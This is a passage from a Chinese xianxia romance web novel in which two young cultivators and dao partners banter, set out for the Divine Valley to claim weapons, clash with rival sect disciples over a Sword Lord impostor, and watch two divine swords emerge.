“师兄,冤枉啊!”贺兰忱嬉皮笑脸的说着,叫的毫无真心。 他这么一喊,沈云戚倒是又想起来了一桩事,大怒:“你刚刚在我爹面前,为什么喊我师弟?我是师弟吗?” “有吗?我不记得了。”贺兰忱装傻。 沈云戚道:“我是师兄,如果你再不服从师兄的命令,我就……揍你。” “家暴啊?我要告诉咱爹,说你欺负我。”贺兰忱嬉皮笑脸的说道。 沈云戚听到这话,脸顿时红了,骂道:“什么咱爹,你别乱叫。” 贺兰忱思索道:“你爹就是我爹,我们现在已经是道侣了。对了,道侣应该怎么称呼对方?咱们也别这些虚的,你叫我老公就行了。” “你……”沈云戚脸爆红。 贺兰忱不知死活的凑近他的脸,问:“害羞啦?” “贺兰忱,你故意的!”沈云戚恼羞成怒,骂骂咧咧,自认为他就是故意惹他生气,才满口炮火车。 “唉唉唉,我知道了,你是想要我叫你老公,可以的可以的,哥哥宠你,让着你,一个称呼而已。”贺兰忱就喜欢逗他,用贱不死的声音喊道,“老~公~” “贺!兰!忱!!!” 沈云戚追着他跑,整个山林里鸟雀乱飞,灵兽四散。 两小崽子的行为尽数被沈不忘渡妄二人在水镜中看的一清二楚,随意看了一会,沈不忘便收了水镜。 渡妄双手环胸,有些不爽的问道:“怎么灭了一个就不是道侣了?” “两生珠中连着他们的情丝,若是爱着对方,才能点亮,他们互相喜爱,自然能为道侣,若是有一方不喜欢了变了心,还是不在一起为好。”沈不忘解释道。 渡妄颇有些不满道:“你这就是偏心你儿子,我徒儿分明更喜欢小崽子一些,两生珠都更亮,你还不让我说,让他们蒙在鼓里。” 沈不忘也不解释,他偏心自己儿子也是人之常情。 渡妄又说:“有朝一日就算两生珠灭了,也是沈云戚的先灭。” “若他不爱贺兰忱了,便也无须守着不爱之人。”沈不忘看着道侣盯着自己,补充道,“若是因为道侣的身份,戚宝一直守着不爱之人,阿忱一直苦苦追求不爱自己之人,两人皆苦,不如放彼此自由。” 这话说罢,渡妄脸色沉了下来,阴恻恻的说道:“那你我皆苦吗?” “嗯?”沈不忘疑惑的看他。 渡妄将灵台处的两生珠拿出来,道:“你的,从来没有亮过,你不也不爱我吗?” “……我们不一样。”沈不忘道。 渡妄凑过来,距离他极近,问道:“如何不同?” “我在学着……爱上你。”沈不忘解释道,眼看着道侣距离自己越来越近,下意识的后退了一步。 渡妄淡笑,伸手搂住他的腰,道:“那仙君,你学的有些慢,是否天资不行,这么多年还没学会??” “不是。”沈不忘否认。 他欺上来,问:“那是你不愿意学?” “……”沈不忘不知如何回答。 道侣又说:“那你觉得我们二人皆苦吗?” “不苦。”沈不忘抿唇,目光游移。 他偏偏不让他躲,眼神变得越发火热,道:“还是我教的不好,嗯?” 沈不忘沉吟片刻,回道:“还行。” 渡妄眼底染上笑意,他不愿意的时候会果断的拒绝,委婉的说还行就是很好的意思,他沾沾自喜的问道:“原来跟我一起不苦,因为我给仙君伺候的很好?” “别胡说。”沈不忘偏过脸去。 “我知晓你是夸我活好。”渡妄的话越发露骨。 怀里人瓷白的脸上染上淡淡的红,长长的睫毛挡住眼底的神色,颤抖着,不安的不看他。 渡妄看得微微发痴,俯首咬住他的嘴唇,将他搂在怀里,吻得深沉。 一吻完毕,沈不忘单手抵在他的胸前,声音低哑道:“还要带孩子下山。” 渡妄不言语,沉沉的眸子盯着他,眼神越发火热。 沈不忘又说:“毕竟是孩子的大日子。” “嗯。”渡妄又亲了亲他,道,“孩子也大了,可以让他们出去历练了。” 沈不忘显然有些犹豫。 渡妄又说:“若是永远在我们的羽翼下,他们永远不会飞翔。”他的手指轻轻刮上他的脸颊,温润细腻的皮肤十分好摸,他声音低哑,“还有他们一天到晚打扰我们,吸引你的注意,你无法全心全意在我身上,怎么能爱上我,嗯?” “是这样吗?”沈不忘犹疑道,“可是……每日我同你在一起更久。” “不够,我要全部的你。”渡妄咬了咬他的鼻子。 沈不忘若有所思的点点头,眼看着道侣又要缠上来,他轻轻推开他,温声道:“我会考虑你的意见的。” 沈不忘收起桌上的一本书,那是渡妄编纂的一本关于龙族的书,他知晓了不少关于养龙要注意的事项。 崽崽是个小金龙,会在十八岁后进入首次发情期,有情投意合的道侣陪着他一起,那是最好不过的。 渡妄刚刚跑来跟他告状,说贺兰忱养了个金色蛇妖当宠物,又说蛇性本淫,让他以后夜里别指导贺兰忱练剑了,孩子长大了需要自己的时间探讨世界。 沈不忘当下便猜到那是戚宝不受控制变成龙了。 崽崽先为人,再为龙,两种状态下都需修行,所以需要双倍的努力才能达到普通人一般努力的境界。 这十三年的修炼,沈云戚修为已至金丹初期,贺兰忱为金丹中期,不过却突破的有些艰难。 沈云戚现在龙身的修为应该也就炼气期,所以他需要先将龙形态也修炼至金丹期,才能继续精进。 他们两个小家伙或许真的需要历练历练,单纯的修炼,确实难有重大的突破。 贺兰忱修行速度确实比沈云戚快一些,或许天资比他稍好一些,但是在沈不忘和渡妄看来,两个小孩都是资质平平,算不得天才。 据说,据伯疏流给他的书卷所说,他生来便是化神期的修为,十八岁时,修为已突破渡劫期。 渡妄则是天生神体,生来便是渡劫期的神龙,不出百年便飞升成神了。 收了这么两个废柴弟子,简直脸上无光,一点都不想承认。 所以他在教授两人的时候也不怎么上心,让他们随便练练就行了,反正无论怎么练都是废废的。 渡妄也颇为沾沾自喜,觉得就是因为自己这么强大,所以当年沈君钦才要跟自己双修,除了他没有别的更好的选择,嘻嘻。 倒是沈不忘教导两孩子十分认真,事无巨细,可是两人的修为一直这么低,也十分忧愁。 这两人的想法若是放在其他宗门,所有人都得哭。 十三年时间两个弟子从引气入体修炼到金丹期,不知道超越多少宗门天骄了,就连近些年崭露头角的百年一遇的天才,剑尊首徒,也是最近才突破元婴期,境界也就比贺兰忱稍稍高半个小境界。 剑尊首徒,他今年三十岁。 他的修为,已经被修真界称之为不世之天才。 第 64 章 剑尊沈君钦。 此时, 资质平庸的两位少年,已经吵架结束,准备好下山了。 沈云戚看着两个爹爹来了, 立即警告贺兰忱道:“不许叫我那个。” “哪个啊?”贺兰忱一脸茫然。 沈云戚瞥了一眼他爹, 发现沈不忘并没有注意到他们在干嘛, 色厉内荏道:“不许叫就是不许叫。” 贺兰忱俊美的脸上全然不解,黑亮的大眼睛透着疑惑, 真的不知他在说什么,好声好气的问道:“什么?还请师兄明示。” 沈云戚牙痒痒, 见他真的忘了,便不想再说什么,免得又记起来。 贺兰忱若有所思,开始揣测他说的是什么,求教道:“是lo……” “不是。”沈云戚立即打断他的话, 避免他瞎猜, 解释道,“是老公。” “什么,我没听清。”贺兰忱侧耳凑过来,一脸肃然。 沈云戚耐着性子,压低了声音在他耳边说:“老公啊。” “欸, 老公听到了,乖宝宝。”贺兰忱听到此话,眉头扬起,伸手摸了摸他的脑袋。 眉眼中闪耀着得逞的笑意,宛如一只得逞的狐狸,眼睛弯弯的,沈云戚见状知晓自己上当受骗了, 贺兰忱这个老狗比。 沈云戚抬手想揍他,贺兰忱拉住他的手,道:“别闹,你爹在看着。” 早上才说两个人在谈恋爱,请求成全成了道侣,现在若是在爹面前翻脸,必然会惹爹怀疑,他爹又不是傻子,记性也很好。 沈云戚气鼓鼓的瞪了贺兰忱一眼,咬牙道:“你……别太过分。” 贺兰忱笑了笑,没有继续逗他了。 两个人自小一起长大,又有一起穿书的缘分在,关系自然非同寻常,沈云戚也习惯他满口跑火车耍贱的行径,口头占便宜什么的,早就见怪不怪了,所以他并没有将此事当一回事。 沈不忘此时才像是终于发现他们的小打小闹,问道:“怎么了?” “没事,爹,我们这一次去天决城,是要去御剑山庄吗?”沈云戚踩了贺兰忱一脚,跑到沈不忘身边。 渡妄道:“御剑山庄有什么可去的,我们要神祇谷。” “那是什么地方?”沈云戚问。 渡妄给他们讲解了一番,神祇谷是上古神王陨落之地,骨肉血水化为峡谷,玄天之火在谷中燃起,之后几万年,神祇谷中诞生了无数的武器,最次的都为天阶法器,每五十年一次火焰会消散,大千世界修士便会云集于此,寻找自己的本命武器。 此次去天决城便是要让两小子找自己的本命法器。 “你爹的命剑不问仙,也是由神祇谷诞生的。”渡妄说道。 沈云戚点点头,又说:“所有的修士都会去,听上去还挺危险的,爹爹,你要保护我。” “天天就知道粘着你爹,没出息,你爹不去。”渡妄翻了个天大的白眼,“让你道侣保护你。” 贺兰忱惯会顺着杆子往上爬,立即道:“遵命,师尊。” 沈云戚对着坏爹龇了龇牙,开始告状:“爹,你看他这么说我。” 渡妄听到这话牙酸的很,他颇有些看不惯沈云戚这小破孩,一来这孩子的存在代表着自己道侣曾经有个亲密的人,并且一直不愿透露,二来他跟自己争夺心上人的关注,每次都能成功,在沈不忘心中,小破孩竟然比他更重要,三来他太菜了,都成年了,还事事要靠爹,拼爹的小废废一枚呀。 最最最重要的是,他们两个小的凭什么亲亲热热,感情这么好? 看不惯,实在是看不惯。 妈的,嫉妒! 沈不忘拍了拍戚宝的手,温声道:“爹不能陪你去。” “为什么?”沈云戚不解。 “因为你爹去了,所有的宝物都会认你爹为主。”渡妄轻描淡写的说道。 沈不忘倒没有觉得所有的宝物都会追着自己当主人,只是为了避免这样的情况出现,还是别去为好。 沈云戚听到此话,惊奇道:“哇,那岂不是很壮观?” “好了,你们去吧,记得相互照拂,若是遇上危险,便捏碎此玉,我们会前去援助。”沈不忘交给两人各一道保命玉石,上面有他一道神识。 贺兰忱和沈云戚接过保命玉石,收好。 转眼间,便到了神祇谷。 虽御剑于天,可下面的热浪还是扑面而来,寻常人是不能来此处的,必须筑基以上才能进入,否则不过几息便会被化作烟灰,□□消为尘土。 到了神祇谷外,沈不忘和渡妄便停下,沈云戚和贺兰忱继续前行,穿过一层结界,便看到下面是一条岩浆长河,红色涌动的岩浆释放出骇人的热度。 入目全是焦土,宛如世界末日一样的场景,远处的高山之上,喷射出来的火焰直冲天际。 “这是一座常年喷发的火山。”沈云戚擦了擦额角的汗。 贺兰忱道:“拿到命器,我们便离开。” “嗯。” 两个人打算朝着神祇谷更深处飞去,便听到有人的威吓传来,道:“哪里来的修士,竟敢在我御剑山庄的地盘御剑,可有令牌?” 那威吓之人修为高于两人,说话的声音带着威压,两人交换了一下眼神,立即换了个方向离去,他们是来选武器的,又不是来与人交恶打架的。 两个人化作流光,老者看清了两个少年的模样,自言自语道:“这两个是哪一家的后生,没有拿我御剑山庄的令牌便进了神祇谷?” “他们能在此御剑飞行,想必是有过人之处,若是能招入我御剑山庄,为我所用,想必也是一桩美事。”衣着华贵的男子狭长的眸子透着几分算计。 老者眯了眯眼睛,笑道:“那自然是要招揽的,大公子,我们可得赶在三公子之前才行。” “不能为我所用者,杀无赦。”南宫玄翊冷锐的目光扫了他一眼,训斥道,“山长老,这还需要我教你吗?” 山长老立即垂首应是。 仙门十几年前那一难后,宗门全是新收的弟子,他们大多为炼气期,进不来这神祇谷,于是御剑山庄便出了一款令牌,只需要一百灵石,便可以进来。 所以这一次来此处的新生弟子,全是通过御剑山庄的。 如今见着两位面生的晚辈可在此御剑飞行,山庄的长老便觉得惊奇。 沈云戚二人飞了一段距离,发现此处确实难以御剑,灵力消耗的厉害,越是往谷中去,阻力便越大,于是两人立即落在地面上,吃了两颗丹药,维系一下体力。 “我发现此处有问题。”沈云戚觉得自己有些难受,就跟长跑之后喘不上气来一般。 贺兰忱状态比他好多了,过来搀扶着他,关切道:“我们快点去拿武器,早些出去。” 丹药发挥了一些作用,沈云戚很快恢复了灵力。 两个人往前走去,远远的却听见了有人在争吵。 “这火莲花明明是我大哥冒死摘来的,凭什么给你们?”少女的声音透着不服气。 “就凭我们是无极宗的弟子,天下第一大宗门。” 又是无极宗,沈云戚和贺兰忱交换了一个眼神,每次遇到的坏东西都是无极宗出来的。 少女大怒道:“青云宗才是第一大宗。” “你们两人散修,竟敢质疑我们,你找打。”无极宗几个少年顿时恼了。 “我不怕你,侠义心肠的剑尊首徒肯定会来救我们的!”少女依旧不知死活的说道。 原本打算不管的两人,听到此话不由停下了脚步。 沈云戚作为剑尊他爹沈君钦的首徒,必须得出场了。 修真界是怎么知道剑尊收了弟子的,到底是谁走漏了风声? 沈云戚提剑而出,直接打断了无极宗的三个跋扈少年,道:“你们自己走,还是被我打走?” “你哪个门派的?敢管我们无极宗的事?”为首的少年上下打量着沈云戚。 此少年气度不凡,明眸皓齿,一派仙姿玉骨的清朗模样,必然不是什么小宗门会培养出来的弟子,无极宗几个弟子心里发怵,莫不是其他山头的师兄? 沈云戚清了清嗓子,掷地有声的说道:“我和我师弟,是剑宗的!” “剑宗?没听说过。” “是青云剑宗吧?” “不是,他说的是剑宗。” 三个人暗自讨论了一下,还传音给长老,得知并无剑宗这个门派,立即便狂妄起来,道:“不知姓名的小门派,莫不是散修吧?” “你们。”沈云戚咬牙生气。 贺兰忱道:“别跟他们废话,时间紧急,我们还要去拿武器。” 无极宗的弟子也正想教训他们,恶狠狠的说道:“不知天高地厚的家伙,今日便叫你们有来无回。” 区区两个散修,还敢在他们面前造次。 “火莲花我们要定了,你们的命,我们也要。” 修真界的规则便是实力为尊,若是能担得下这因果,杀人越宝也是家常便饭。 所有进入仙门的弟子,学的第一课便是这个。 无极宗这些大门派,即便新生代死断层了,可宗门底蕴还是栽的,丝毫未将散修放在眼里。 三人立即结成了阵法,提剑而来。 沈云戚尚未出招,贺兰忱便拔出铁剑,剑光闪烁,眼花缭乱教人看不清他出招的架势,不过几息,无极宗的弟子便尽数衣衫褴褛,受伤倒地。 他们见自己不敌,便相互搀扶着,撂下狠话跑了。 贺兰忱收起长剑,道:“我们走吧。” 沈云戚目瞪口呆,问:“你这么快干什么?” “快?我可不快。”贺兰忱冷静的反驳道。 沈云戚一时不觉,又给了他说骚话的机会,又说:“你为什么不给我发挥的机会,到底谁才是师兄?” “你是。”贺兰忱在外面可十分给他面子。 那一旁的少女这时才走过来,问道:“你们是散修吗?” “我们是剑宗的。”沈云戚自豪的说道。 他爹亲自开宗立派,剑尊的宗门自然叫剑宗。 少女露出了一言难尽的表情,拿出百家宗门手册,对照着上面看着,道:“我查过了,修真界确实曾经有过几个剑宗,最后都被其他宗门灭了。” 沈云戚说:“我们剑宗跟那些小门小派不一样。” 彩蝶道:“不管一样不一样吧,你们刚刚放走了无极宗的人,你们可要倒大霉了。” “为什么?”沈云戚不解的问。 彩蝶跟他解释的时候,贺兰忱的目光投向了她身后的那位哥哥身上。 此人看上去十分壮硕,身材高大两米五往上,肌肉虬结试十分扎实,身上潦草缠着的绷带被什么烧了,眼睛却绑的严实,露出来的肌肤是不健康的青蓝色,他静默的站在少女的身后,毫无生气。 这不是一个人,而是一具尸体,可是他面却朝着沈云戚的方向,似乎透过绑带垂眸凝视他。 彩蝶跟沈云戚解释为什么,她道:“因为你们打了他们宗门的弟子,像是这种大宗门,传承极多,大能比比皆是,他们必定会找人来教训你们,修真界若是与人结仇,斩草除根才是第一要义,否则你战胜了后生晚辈,他叫来前辈师尊,你如何应付的完?” 沈云戚被此种言论惊了一下,与人结仇必定要斩草除根。 “这边是修真界的道,强者为尊,除非你是最强者,否则永远不能怜悯别人。”彩蝶说完,意味深长的看了两人一眼,心中有些惋惜,这么帅气的两个少年,就要葬身于此了。 沈云戚道了句:“受教了,不知道姑娘姓谁名谁?” “若是能出了此地,我们再认识吧。”彩蝶无情的说道。 沈云戚:…… 你这人,怎么这样?不是喊着让剑尊的弟子来救你?救了之后就这么无情无义? 彩蝶手上铃铛一响,她的“哥哥”便跟着一道走了,步履十分僵硬。 沈云戚指着两人离去的背影,难以置信:“我们刚刚还帮了她是吧?” “可能她不是需要我们帮。”贺兰忱蹙眉道。 沈云戚嘀咕:“可是我们不就是剑尊的弟子吗?她不是喊着让我们帮忙吗?难不成还有别人?” 这女子对他们如此冷酷的样子,让沈云戚十分不解。 贺兰忱却笑笑道:“说不定确有别人。” “什么?难道我爹以前还有别的弟子?”沈云戚瞪大了眼睛,追问道。 “你凑耳朵过来。”贺兰忱勾了勾手指。 沈云戚眉头打结,贴过去听他耳语,很快眉宇便又舒展开来。 “好,就按照你说的办。”沈云戚赞同道。 他倒是要看看,谁仗着他爹的名号招摇撞骗。 他才是剑尊首徒,贺兰忱是剑尊二徒! 朝着神祇谷深处走去,路上又行侠仗义了好几次,毕竟这也是缘故神明陨落之地,收获一些天材地宝也是正常,这些人不是在找宝物过程中遇上危险就是被贼人盯上。 两个人出手相助了好几个人,这些人倒是比那少女知恩图报了不少,不会说什么要斩草除根之事。 当他们问及他们身份时,沈云戚便会说:“我师尊教我做好事不留名,你感谢我师尊即可。” “敢问师尊名讳?”对方问道。 “剑尊沈君钦。”沈云戚掷地有声的说出了他爹的大名。 第 65 章 身陷死地 留下剑尊大名, 两人便扬长而去,神出鬼没。 如法炮制了几次,剑尊的弟子也来神祇谷的事情很快便在人群中传遍了。 到了深渊, 有人向青云宗的弟子求证, 青云宗弟子嗤笑道:“师兄们明明去秘境历练了, 怎么可能出现在此处?” “什么?难道之前两人是冒充的?” “不会吧,我瞧那剑法顶尖, 不似什么野路子出来的。” “是真是假,跟青云宗的师兄们比划比划, 不就知晓吗?” “是了是了,青云宗剑法天下第一,更有剑尊剑仙两位大能,坐下弟子必然也是无人能及,若是连那假冒之人都比不过, 确实有些不象话了吧。” 这些话听在青云宗的弟子耳中, 顿时炸了,人群中有个暴脾气,道:“我这就去找他们对峙,若不是剑尊弟子,我便要他们有来无回。” “袁师弟, 稍安勿躁,切莫意气用事,还是先禀告掌门师尊再做定夺。”俞观南倒是沉着冷静。 “大师兄,你该不会怕了吧?”少年咬牙切齿,十分看不惯自己这做事唯唯诺诺的大师兄,他觉得自己才应该当大师兄。 俞观南不急不恼,道:“拿命剑要紧, 毕竟……有时效。” 令牌有时效,过了这个时辰,若是没有拿到东西,那令牌就白买了。 神祇谷的岩浆五十年才会熄灭一次,若是错过了这个机会,以后不知要有多大的我机缘才能得到好用的本命法器。 俞观南带领大家进来,对自己的唯一要求就是将师弟们活着带出去。 恰逢此时,沈云戚与贺兰忱正好也来到深渊处,与青云宗一干人撞了个正着。 沈云戚看着一行青云宗的弟子,忍不住多看了一眼,俞观南看到他们微笑示意,表达友善,随后跟师弟们嘱咐道:“进了深渊,大家不可随意离队,若是找到与自己感应强烈的武器,便缔约。” “好的,师兄。” 众人朝着深渊进发,这里宛如一个巨大的墓冢,无数的武器扎在地上,悬崖壁上,身上淤积着厚厚的灰尘,朴实无华,丝毫看不出神器的样子。 沈云戚两人也跟着他们一道进入山谷,倒是其中一个浓眉大眼的少年,皱着眉头看了他一眼,长相倒是有几分眼熟,似在哪里见过。 袁不焕见两个人一直跟着他们青云宗之人,不耐烦的问道:“你们干什么一直跟着我们青云宗?” “大路朝天,各走一边,进山谷只有这一条路,凭什么就说我们跟着你们青云宗?”贺兰忱双手抱胸,十分狂妄的开口。 沈云戚也十分赞同,道:“就是,走你们前头的是无极宗和苍穹派的弟子吧,你们不也跟着别人?” 袁不焕怒道:“你……口出狂言,看我如何修理你们。” 俞观南立即又拦住了袁不焕的去路,道:“不要节外生枝。” “俞观南,你是属王八的吗?这么能忍?我今天不好好教训你们一番,我就不叫袁不焕。”袁不焕拔剑就上。 贺兰忱一听这名字,哦豁了一声,倒是十分耳熟啊。 沈云戚一看他这出招的架势,立即伸手一拍贺兰忱,道:“让我来,你别抢。” “菜的让你打。”贺兰忱嘴角嘤着淡笑,显然没有将袁不焕放在眼里。 袁不焕这人当年仗着自己是天下兵马大元帅的儿子,在京中没少欺负戚宝,自然,戚宝当年虽然小,却不是个挨欺负的小朋友。 他当年讨不到好,现在,依旧讨不到好。 沈云戚的长剑出窍,剑气如虹,袁不焕出招隔档,却被他直直的袭击而去。 青云宗的天骄,甚至敌不过沈云戚的一合之力,袁不焕节节败退,目露狠光盯着沈云戚,越看他越觉得可恶。 沈云戚扬了扬下巴,清冽的少年声音传来,道:“你们不是我的对手。” “啪啪啪。”鼓掌的声音从山谷深处传来。 为首的男人脸上带着冷笑,问道:“他们不是你的对手,那我了?” 说话间,一个鬼爪朝着沈云戚的放下袭来,直取他首级。 贺兰忱立即出招,提沈云戚拦下这一击,沈云戚也立即避开。 此人修为已是出窍期的修为,一脸凶狠阴骘的模样,贺兰忱见状,立即道:“你我无冤无仇,为什么见面就打我们?” “就是你们冒充剑尊的弟子?”太元子嗤笑一声,问道。 沈云戚道:“什么冒充,我们就是剑尊的弟子。” 青云宗众人立即惊讶的看向两人,想不到这两少年胆子竟然这么大,敢在青云宗面前大放厥词,说自己是剑尊的弟子。 “你放屁,你们刚刚还说自己是剑宗的,现在怎么又成了剑尊的弟子?”躲在太元子身后的少年鼻青脸肿的,身上是无极宗的制服。 贺兰忱嗤笑一声,道:“我当是谁了,原来是无极宗的手下败将们?” “可笑,可恶,无耻小儿,你们冒充剑尊弟子,辱我无极宗,妄图挑拨无极宗和青云宗关系,简直罪不可恕。”太元子阴狠的说道,“拿命来。” 太元子本就是帮弟子撑腰来的,早就找到了两人,可是听说他们是剑尊的弟子,便按兵不动,此时见他们两人与青云宗的弟子动手,便坐实了他们是冒名顶替的。 太元子的的武器是九阶地级龙虎爪,巨大的威压朝着两个少年袭来。 沈云戚和贺兰忱立即进入战斗状态,两个人朝着两个方向跑去,那爪像是有灵智一般,朝着沈云戚追去,避无可避,沈云戚直接提剑迎上,铁剑发颤,发出嗡鸣的声响。 “别跟他正面打。”贺兰忱见状出言提醒。 沈云戚好看的眉头拧起来,一旁的无极宗弟子躲在一边,拱火青云宗的弟子上去揍他们。 “他们假装剑尊的弟子,辱你们门楣,你们就干看着吗?” “对啊,我们一起上吧。” “不必,我们来此处是来寻武器的。”俞观南还是坚定自己的看法,他顾全大局,做事稳重掌门器重他们,可是在其他弟子看来,他便是太过一板一眼,没什么出息。 袁不焕却不爽道:“太元子前辈帮我买出头,我们就该乘胜追击,要那两小子的狗命。” 此时太元子一打二已经占据了上风,修真界一个修为境界的压制,便是天堑,太元子是宗门长老,乃元婴修士。 沈云戚与贺兰忱修为比不上他,且是第一次独自行动,尚无实战经验,想要以弱胜强尚不得其法。 “无知小儿,还不束手就擒。”太元子猖狂的喊道。 沈云戚嗤笑一声,口中念念有词。 太元子见他要寄出法宝隔档,正要嘲笑几句,便看见从少年身上散开的铺天盖地的帷幕,无相书展开,所到之处所有人的器灵全都被收入其中。 太元子脸色骤变,喊道:“是上古神器!天啦,不好,所有的器灵都被他收了。” 话音刚落,那无相书便像是有生命一般,直接将太元子缠成了木乃伊,动弹不得,任他使用何种神通都挣脱不开。 “住手!”太元子怒不可遏。 沈云戚拍了拍衣襟,道:“以大欺小,算什么英雄?” 贺兰忱看着自己的铁剑断了,皱眉道:“还是先去找自己的命剑吧。” 贺兰忱将剑往地上一丢,众人才看清,这两位号称剑宗的少年,使用的武器竟然是木剑。 两位少年竟然以木剑跟元婴后期的大能打的有来有回,最后还将人制住了。 “不可以!快收了你的这个东西!!”太元子疯狂的大喊大叫着。 沈云戚觉得他的状况有些疯癫,问道:“吵什么吵,我还没用力了,这玩意活人超度不了的。” “无知小儿,你这神器专门吸收亡灵,已经将器灵全都收走了,你看这神祇谷还有能用的武器吗?现在这些武器全成了破铜烂铁。”太元子痛心疾首的说道。 器灵说到底也是灵魂的一种,附着在武器身上,随着主人的意念成为武器的伴生灵。 武器本就是没有生命的东西,所以没有认主的器灵很容易离开武器,现在有无相书这种上古神器在此,便直接将低等器灵收走了。 尚未失去器灵的武器便是天极及以上,这种武器自然不会选择这些普通弟子。 他们只认天命人。 沈云戚挠挠头,看着铺天盖地的无相书,发现上面金色的铭文确实变得流光溢彩,吸纳了不少亡灵进去。 “好啊,你们两个冒充剑尊的弟子不算,现在还害我们拿不到灵器,简直该死。”袁不焕第一个骂出声来。 天知道,他为了进入这个秘境花了灵石。 其他人也面面相觑,没想到这两个少年竟然这么会搞事,一下子收掉了一半的器灵。 贺兰忱不疾不徐的开口,道:“各位稍安勿躁,器灵我可收也可放,若是你们不学会好好说话,我们便将器灵全都超度了,你们只能带着破铜烂铁回去。” “你……欺人太甚了!”人群中有人骂道。 其他的修士也尽数赶来,开始对两个少年口诛笔伐。 贺兰忱恶狠狠的训斥道:“我劝你们对我们说话尊敬一些,口出狂言,谁都别想拿到灵器。” “你……” 沈云戚知晓这些人都是欺软怕硬的主,若是与他们好言好语,自然不会顺着他们来,只会不断地道德绑架他们,无数的罪名往他们身上压下。 “我只想知道,究竟是谁冒充剑尊的弟子?你们口中剑尊的弟子,究竟是谁?让他们出来见我!”贺兰忱的声音掷地有声,透着修士的威严,穿过峡谷。 沈云戚补了句:“究竟是谁,胆敢冒充我们?我们才是剑宗正统,剑尊嫡传,若有人敢在我们面前招摇撞骗,那便提头来见!” 少年的声音一字一顿,穿过所有人的耳朵。 他们怎么如此有底气?莫不是他们真的是剑尊的弟子? 沈云戚与贺兰忱自然是剑尊沈君钦的弟子,可是他们从未出过山,也未以这个名字下山干过什么事情,江湖上却盛传着剑尊首徒的名字,这十分不对劲! 所以他们便知有人以剑尊之名,有所图谋。 按理说,剑尊已经消失七十年了! 于是他们便直接亮出名字,却不见冒牌货前来,不过这也不打紧,这群人中,必然有人见过那所谓的剑尊弟子。 大家的目光投向了青云宗的弟子们。 那个横空出世的剑尊弟子,在这些年仙门大比上每每获得头筹的人,难道才是冒充的? 想想也有些奇怪,他说自己是剑尊弟子,却从来没有人见过剑尊。 是否如眼前少年所说,那位剑尊弟子只是青云宗拿出来的噱头,真正的剑尊实则早就陨落了。 确实有这种可能,毕竟青云宗在过去几十年早就被苍穹派和无极宗压着打了,所以仙门凋零后,他们便推出一位天才来振兴宗门! 俞观南犹疑片刻,上前抱拳拱手,道:“两位少侠,在下青云宗俞观南,宴行师兄未来神祇谷,若是二位有异议,观南先行禀告师门,他人登门解释一番。” 他这姿态倒是谦和,与那些上来就喊打喊骂的人要顺眼得多。 沈云戚听到这个熟悉的名字,诧异问道:“剑尊弟子名叫、宴行?” “你认识他?”贺兰忱不由挑眉。 俞观南也问:“少侠,你也认识宴行师兄?” “有过一面之缘。”沈云戚正思索要如何说明这情况。 第 66 章 孩儿双修,爹爹护法,合…… 苍穹之上传来一道沉冷的男声“小娃儿, 多年未见,你竟已这么大了?”,随之而来的事一身白裳金色绣兰花的纹饰的男子, 他身材高大, 面容俊朗, 一双琥珀色的眸子平静的看着两位少年。 “是剑仙。”“是掌门。”“他竟然也来了。”“这下有好戏看了。” 俞观南见他来了,顿时面露喜色, 追了上来,道:“掌门尊上, 你怎么来了?” 沈云戚狐疑的看着他,问道:“我们见过吗?” “大胆,你不知道这是我们青云宗的掌门吗?”身后传来一声怒喝,俞观南颇有些生气。 伯疏流抬手示意他稍安勿躁,转而冲着沈云戚温和的笑了笑:“十三年前, 苍生渡口, 当时你还叫我爹了。” “师伯,好久不见。”贺兰忱笑着打招呼道。 沈云戚张了张口,他印象里是有这么一个人,当时还觉得他好帅来着,怎么现在见到眼前之人, 却觉得有些陌生。 “师伯。”沈云戚也干巴巴的唤了一声。 伯疏流颔首,俊美的脸上带着温和的笑意。 旁观的众人你看看我,我看看你,太元子问出了大家心中所想:“仙君,他们两真是剑尊的弟子吗?” 伯疏流没有搭理他,只是让沈云戚收回无相书,放掉器灵。 伯疏流的态度其实已经证明了两少年就是剑尊的弟子。 沈云戚正要收回无相书, 贺兰忱却出言道:“既然师伯在,那必然会护着我与师兄,对吧?” “那是自然。”伯疏流看向贺兰忱,十分宽容的看着两位闹事的后辈。 沈云戚收回无相书,太元子被放出来,虽然垂涎沈云戚手中的无相书,却也不敢在伯疏流面前造次。 器灵也尽数被放出来,原本这些器灵会重新回到那些武器中,可此时,它们却被一股强大的神器吸引了,争先恐后的追出向深渊最深处。 “怎么回事?” “它们不回那些武器,这是要去哪里?” 器灵汇聚成一个长长的浩瀚的纽带,尽数朝着祭台最深处的两个石锥奔去。 是剑,那是两柄剑。 无数的器灵汇聚成一团,全部被两柄剑吸收了进去。 天空中劫云汇聚,笼罩在峡谷中央。 宛如一座山般的雷电集中祭台,巨大的光将黑暗照成白昼,若是寻常人在此,会被这样的光亮闪瞎眼睛,修士们在雷劫来此之前便寻了安全的地方躲了起来,大能们通力布置结界,防止门生被波及。 此等渡劫期的雷劫,不是他们这些堪堪炼气筑基修为的弟子可以抗衡的。 雷劫一道有一道,那青红两色的剑,迎着雷电而去,将万钧的雷霆收为己用,直直的迎上最强的那一道雷霆。 俞观南仰头看那两柄剑,惊奇道:“尊上,这是什么? 伯疏流也惊讶:“三百年前,我跟师弟来此处时,他的不问仙便是这般诞生的,若是两柄剑度过雷劫,那便是先天神器。” “那岂不是很厉害?”俞观南眼中闪闪有光,十分激动的模样。 伯疏流颔首,道:“确实厉害,但是这等神器,不是一般修士可以拿下的,想要被他们认可,那便是万中无一的天才。” “剑尊便是那样的天才。”俞观南道。 伯疏流听到这话,目光投向一旁的沈云戚,沈云戚正仰着脑袋看那剑,激动的拽着贺兰忱的手臂,贺兰忱则是若无其事的看着那两柄神兵宝剑。 “尊上?”俞观南循着伯疏流看过去的目光看过去。 掌门尊上在看那两位师弟。 雷劫经历了好一会儿,两柄剑吸纳了雷霆之力,被雷劫淬炼的愈发通透,盛大的力量直穿云霄,惊动了八方大能。 此等先天至宝问世,天道都为之震撼。 “天命!是天命剑,是老夫的,桀桀桀。”合体期的魔修,伴随着一阵黑色的乌鸦来到此处,张狂的笑声伴随着巨大的威压,凌驾于神祇谷所有修士之上。 来者正是化魔尊者,他的修为早就可以突破渡劫期朝着大乘期而去了,可是他害怕天劫,所以一直压制着修为。 这下神兵出世,可以抵挡住九九雷劫,必然是要抢来,帮助自己飞升的。 青空之上又有一道声音传来,流光闪过,叛修罗化作一道烟,卷走了两柄长剑:“想从我手上拿走天命,没门。” “阿弥陀佛,老衲与世无争几百年,不如将此剑让给我。”佛偈落下,万无妖僧也登场了。 来的三人都是修真界强的没边的大能,至少渡劫期的修为。 